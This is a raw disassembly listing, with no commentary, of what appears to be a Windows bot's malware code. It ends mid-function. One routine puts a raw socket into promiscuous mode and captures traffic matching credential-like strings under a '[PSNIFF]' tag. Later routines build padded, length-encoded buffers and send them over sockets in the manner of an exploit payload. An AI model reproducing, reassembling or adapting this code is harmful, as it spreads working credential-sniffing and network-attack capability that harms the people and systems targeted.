		push	[ebp+var_BC]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_41F040	; ExitThread


loc_40208A:				; CODE XREF: sub_401BD7+203j
		push	[ebp+var_4]
		call	dword_44CD70	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_340]
		push	offset unk_4212B0
		push	eax
		call	sub_413812
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4020FB
		push	ebx
		lea	eax, [ebp+var_340]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_40B2B5
		add	esp, 14h


loc_4020FB:				; CODE XREF: sub_401BD7+4FFj
		lea	eax, [ebp+var_340]
		push	eax
		call	sub_409833
		push	[ebp+var_BC]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_41F040	; ExitThread
sub_401BD7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40211B	proc near		; DATA XREF: sub_40CC09+1B64o

var_101B4	= byte ptr -101B4h
var_101AB	= byte ptr -101ABh
var_101A8	= dword	ptr -101A8h
var_101A0	= dword	ptr -101A0h
var_10193	= byte ptr -10193h
var_1018C	= byte ptr -1018Ch
var_1B4		= byte ptr -1B4h
var_B4		= dword	ptr -0B4h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_A0		= dword	ptr  0A8h

		push	ebp
		mov	ebp, esp


loc_40211E:				; DATA XREF: seg001:off_42D554o
		mov	eax, 101B4h
		call	sub_413E60
		mov	edx, [ebp+arg_0]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp+var_B4]
		pop	ecx
		mov	[ebp+var_8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	esi
		call	dword_44CCDC	; ntohs
		push	[ebp+var_B4]
		mov	[ebp+var_1A], ax
		call	sub_408A5D
		pop	ecx
		push	eax
		call	dword_44CD18	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+var_18], eax
		call	dword_44CD58	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jnz	short loc_4021F0
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B4]
		push	offset unk_421DDC
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4021D3
		push	esi
		lea	eax, [ebp+var_1B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40B2B5
		add	esp, 14h


loc_4021D3:				; CODE XREF: sub_40211B+96j
		lea	eax, [ebp+var_1B4]
		push	eax
		call	sub_409833
		push	[ebp+var_30]
		call	sub_4135DA
		pop	ecx
		pop	ecx
		push	esi
		call	dword_41F040	; ExitThread


loc_4021F0:				; CODE XREF: sub_40211B+76j
		mov	eax, [ebp+var_30]
		push	10h
		imul	eax, 134h
		mov	dword_452134[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		call	dword_44CD08	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402275
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B4]
		push	offset unk_421D98
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_402251
		push	esi
		lea	eax, [ebp+var_1B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40B2B5
		add	esp, 14h


loc_402251:				; CODE XREF: sub_40211B+114j
		lea	eax, [ebp+var_1B4]
		push	eax
		call	sub_409833
		pop	ecx
		push	edi
		call	dword_44CD70	; closesocket
		push	[ebp+var_30]
		call	sub_4135DA
		pop	ecx
		push	esi
		call	dword_41F040	; ExitThread


loc_402275:				; CODE XREF: sub_40211B+F4j
		push	esi
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	98000001h
		push	edi
		call	dword_44CC8C	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4022F8
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B4]
		push	offset unk_421D50
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4022D4
		push	esi
		lea	eax, [ebp+var_1B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40B2B5
		add	esp, 14h


loc_4022D4:				; CODE XREF: sub_40211B+197j
		lea	eax, [ebp+var_1B4]
		push	eax
		call	sub_409833
		pop	ecx
		push	edi
		call	dword_44CD70	; closesocket
		push	[ebp+var_30]
		call	sub_4135DA
		pop	ecx
		push	esi
		call	dword_41F040	; ExitThread


loc_4022F8:				; CODE XREF: sub_40211B+177j
		push	ebx
		mov	ebx, offset dword_421450


loc_4022FE:				; CODE XREF: sub_40211B+21Bj
					; sub_40211B+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_101B4]
		push	edi
		push	esi
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_101B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_44CCF4	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_402410
		cmp	[ebp+var_101AB], 6
		jnz	short loc_4022FE
		mov	eax, [ebp+var_101A8]
		cmp	[ebp+var_10193], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_4022FE
		lea	eax, [ebp+var_1018C]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_413DE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022FE
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short loc_4022FE
		mov	[ebp+arg_0], ebx


loc_40236C:				; CODE XREF: sub_40211B+26Cj
		push	eax
		lea	eax, [ebp+var_1018C]
		push	eax
		call	sub_413DE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40238E
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_40236C
		jmp	loc_4022FE
; ---------------------------------------------------------------------------


loc_40238E:				; CODE XREF: sub_40211B+262j
		lea	eax, [ebp+var_1018C]
		push	eax
		push	[ebp+var_101A0]
		call	dword_44CC28	; ntohs
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_44CD64	; inet_ntoa
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_421464[eax*8]
		push	off_421440[eax*4]
		lea	eax, [ebp+var_1B4]
		push	offset unk_421D00
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_4023FE
		push	esi
		lea	eax, [ebp+var_1B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40B2B5
		add	esp, 14h


loc_4023FE:				; CODE XREF: sub_40211B+2C1j
		lea	eax, [ebp+var_1B4]
		push	eax
		call	sub_409833
		pop	ecx
		jmp	loc_4022FE
; ---------------------------------------------------------------------------


loc_402410:				; CODE XREF: sub_40211B+20Ej
		call	dword_44CC78	; WSAGetLastError
		push	eax
		push	offset unk_421CBC
		lea	eax, [ebp+var_1B4]
		push	0FFh
		push	eax
		call	sub_413D8A
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_402456
		push	esi
		lea	eax, [ebp+var_1B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40B2B5
		add	esp, 14h


loc_402456:				; CODE XREF: sub_40211B+319j
		lea	eax, [ebp+var_1B4]
		push	eax
		call	sub_409833
		pop	ecx
		push	[ebp+var_4]
		call	dword_44CD70	; closesocket
		push	[ebp+var_30]
		call	sub_4135DA
		pop	ecx
		push	esi
		call	dword_41F040	; ExitThread
		push	ebx
		push	esi
		push	edi
		lea	esi, [esp+8+arg_0]
		sub	esp, 0BCh
		mov	[esp+0C4h+arg_A0], 8Bh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402F48
		push	2Fh
		lea	esi, [esp+0C8h+arg_0]
		pop	ecx
		mov	[esp+0C4h+arg_A0], 1BDh
		mov	edi, esp
		mov	ebx, eax
		rep movsd
		call	sub_402F48
		add	esp, 0BCh
		test	ebx, ebx
		jnz	short loc_4024CE
		test	eax, eax
		jz	short loc_4024D1


loc_4024CE:				; CODE XREF: sub_40211B+3ADj
		push	1
		pop	eax


loc_4024D1:				; CODE XREF: sub_40211B+3B1j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40211B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4024D5	proc near		; CODE XREF: sub_402749+Ep
					; sub_402749+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_4024D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4024DF	proc near		; CODE XREF: sub_402749+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_413F0B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_402511
		push	ebx
		push	0
		push	edi
		call	sub_413890
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_4138F0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_402511:				; CODE XREF: sub_4024DF+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4024DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402519	proc near		; CODE XREF: sub_402613+18p
					; sub_40268D+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_413F0B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_402565
		push	edi
		push	0
		push	esi
		call	sub_413890
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_4138F0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4138F0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_402565:				; CODE XREF: sub_402519+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_402519	endp


; =============== S U B	R O U T	I N E =======================================



sub_40256E	proc near		; CODE XREF: sub_402613+5Ep
					; sub_402613+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40257E
		push	eax
		call	sub_413F7F
		pop	ecx


loc_40257E:				; CODE XREF: sub_40256E+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40256E	endp


; =============== S U B	R O U T	I N E =======================================



sub_402587	proc near		; CODE XREF: sub_402613+20p
					; sub_4026EE+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_4025B4
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_413F0B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4025B8


loc_4025B4:				; CODE XREF: sub_402587+Dj
		xor	al, al
		jmp	short loc_40260F
; ---------------------------------------------------------------------------


loc_4025B8:				; CODE XREF: sub_402587+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_413890
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_4025DD
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_4025F7
; ---------------------------------------------------------------------------


loc_4025DD:				; CODE XREF: sub_402587+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_4025F7:				; CODE XREF: sub_402587+54j
		push	eax
		call	sub_4138F0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_413F7F
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40260F:				; CODE XREF: sub_402587+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_402587	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402613	proc near		; CODE XREF: sub_402749+89p
					; sub_402749+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_438A0C
		call	sub_402519
		lea	ecx, [ebp+var_8]
		call	sub_402587
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_413F0B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40264D
		xor	al, al
		jmp	short loc_402689
; ---------------------------------------------------------------------------


loc_40264D:				; CODE XREF: sub_402613+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_413890
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_4138F0
		add	esp, 18h
		mov	ecx, esi
		call	sub_40256E
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40256E
		mov	al, 1


loc_402689:				; CODE XREF: sub_402613+38j
		pop	edi
		pop	esi
		leave
		retn
sub_402613	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40268D	proc near		; CODE XREF: sub_4026C1+14p
					; sub_4026DE+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_402519
		mov	ecx, esi
		call	sub_40256E
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40268D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4026C1	proc near		; CODE XREF: sub_402749+F0p
					; sub_402749+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_413E90
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40268D
		pop	esi
		retn	4
sub_4026C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4026DE	proc near		; CODE XREF: sub_40272A+Bp
					; sub_402749+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40268D
		retn	8
sub_4026DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4026EE	proc near		; CODE XREF: sub_40272A+16p
					; sub_402749+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_402587
		test	al, al
		jz	short loc_402727
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_42218F+1)
		call	sub_402519
		mov	ecx, esi
		call	sub_40256E
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_402727:				; CODE XREF: sub_4026EE+Fj
		pop	esi
		leave
		retn
sub_4026EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40272A	proc near		; CODE XREF: sub_402749+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4026DE
		test	al, al
		jz	short loc_402745
		mov	ecx, esi
		call	sub_4026EE


loc_402745:				; CODE XREF: sub_40272A+12j
		pop	esi
		retn	8
sub_40272A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402749	proc near		; CODE XREF: sub_402F48+86p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_4024D5
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_402A9D
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_402A9D
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_4024D5
		lea	ecx, [ebp+var_20]
		call	sub_4024D5
		lea	ecx, [ebp+var_50]
		call	sub_4024D5
		lea	ecx, [ebp+var_18]
		call	sub_4024D5
		lea	ecx, [ebp+var_40]
		call	sub_4024D5
		lea	ecx, [ebp+var_38]
		call	sub_4024D5
		lea	ecx, [ebp+var_28]
		call	sub_4024D5
		push	4
		push	offset dword_421E30
		lea	ecx, [ebp+var_30]
		call	sub_40268D
		push	3
		push	offset dword_421E38
		lea	ecx, [ebp+var_30]
		call	sub_40268D
		lea	ecx, [ebp+var_30]
		call	sub_402613
		lea	ecx, [ebp+var_30]
		call	sub_4026EE
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40268D
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40268D
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40268D
		lea	ecx, [ebp+var_20]
		call	sub_402613
		push	offset loc_4221B8
		lea	ecx, [ebp+var_50]
		call	sub_4026C1
		lea	ecx, [ebp+var_50]
		call	sub_402613
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_4024DF
		lea	ecx, [ebp+var_58]
		call	sub_402613
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40272A
		lea	ecx, [ebp+var_58]
		call	sub_40256E
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_413890
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_4026C1
		push	4
		push	offset dword_421E3C
		lea	ecx, [ebp+var_18]
		call	sub_40268D
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40268D
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40268D
		lea	ecx, [ebp+var_18]
		call	sub_402613
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_4026DE
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_4026DE
		lea	ecx, [ebp+var_40]
		call	sub_4026EE
		lea	ecx, [ebp+var_18]
		call	sub_40256E
		lea	ecx, [ebp+var_50]
		call	sub_40256E
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_4026DE
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_4026DE
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_4026DE
		lea	ecx, [ebp+var_38]
		call	sub_4026EE
		lea	ecx, [ebp+var_20]
		call	sub_40256E
		lea	ecx, [ebp+var_30]
		call	sub_40256E
		lea	ecx, [ebp+var_40]
		call	sub_40256E
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40268D
		lea	ecx, [ebp+var_28]
		call	sub_402613
		push	2
		push	offset dword_4221AC
		lea	ecx, [ebp+var_28]
		call	sub_40268D
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_4026DE
		lea	ecx, [ebp+var_28]
		call	sub_4026EE
		lea	ecx, [ebp+var_38]
		call	sub_40256E
		lea	ecx, [ebp+var_10]
		call	sub_4024D5
		lea	ecx, [ebp+var_8]
		call	sub_4024D5
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_4026DE
		lea	ecx, [ebp+var_10]
		call	sub_402587
		lea	ecx, [ebp+var_28]
		call	sub_40256E
		push	offset dword_4221A8
		lea	ecx, [ebp+var_8]
		call	sub_4026C1
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_4026DE
		lea	ecx, [ebp+var_8]
		call	sub_402587
		lea	ecx, [ebp+var_10]
		call	sub_40256E
		push	offset dword_4221A4
		lea	ecx, [ebp+var_10]
		call	sub_4026C1
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_4026DE
		lea	ecx, [ebp+var_10]
		call	sub_402587
		lea	ecx, [ebp+var_8]
		call	sub_40256E
		push	offset dword_422198
		lea	ecx, [ebp+var_8]
		call	sub_4026C1
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_4026DE
		lea	ecx, [ebp+var_8]
		call	sub_402587
		lea	ecx, [ebp+var_10]
		call	sub_40256E
		push	offset dword_422194
		lea	ecx, [ebp+var_48]
		call	sub_4026C1
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_4026DE
		lea	ecx, [ebp+var_8]
		call	sub_40256E
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_402AAB
; ---------------------------------------------------------------------------


loc_402A9D:				; CODE XREF: sub_402749+1Bj
					; sub_402749+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_402AAB:				; CODE XREF: sub_402749+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_402749	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402AAF	proc near		; CODE XREF: sub_402B73+A1p
					; sub_402B73+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_41F1D4	; select
		cmp	eax, edi
		jnz	short loc_402B16
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_41E428	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_402B1A


loc_402B16:				; CODE XREF: sub_402AAF+54j
		xor	eax, eax
		jmp	short loc_402B2A
; ---------------------------------------------------------------------------


loc_402B1A:				; CODE XREF: sub_402AAF+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_44CCF4	; recv


loc_402B2A:				; CODE XREF: sub_402AAF+69j
		pop	edi
		pop	esi
		leave
		retn
sub_402AAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B2E	proc near		; CODE XREF: sub_402B73+81p
					; sub_402B73+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_44CCD8	; ntohl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_44CD28	; send
		cmp	eax, 4
		jz	short loc_402B58
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_402B58:				; CODE XREF: sub_402B2E+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_44CD28	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_402B2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B73	proc near		; CODE XREF: sub_402C4D+48p
					; sub_402F48+181p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_413F0B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_402B9C
		xor	al, al
		jmp	loc_402C48
; ---------------------------------------------------------------------------


loc_402B9C:				; CODE XREF: sub_402B73+20j
		push	ebx
		push	0
		push	esi
		call	sub_413890
		push	2Fh
		push	offset dword_421ECC
		push	esi
		call	sub_4138F0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_421EFC
		push	eax
		mov	[esi+2Fh], di
		call	sub_4138F0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_4138F0
		push	6
		add	ebx, edi
		push	offset dword_438A04
		push	ebx
		call	sub_4138F0
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_421E44
		push	ebx
		call	sub_402B2E
		add	esp, 48h
		test	al, al
		jnz	short loc_402C04


loc_402C00:				; CODE XREF: sub_402B73+B5j
		xor	bl, bl
		jmp	short loc_402C3F
; ---------------------------------------------------------------------------


loc_402C04:				; CODE XREF: sub_402B73+8Bj
		mov	edi, 100h
		push	0
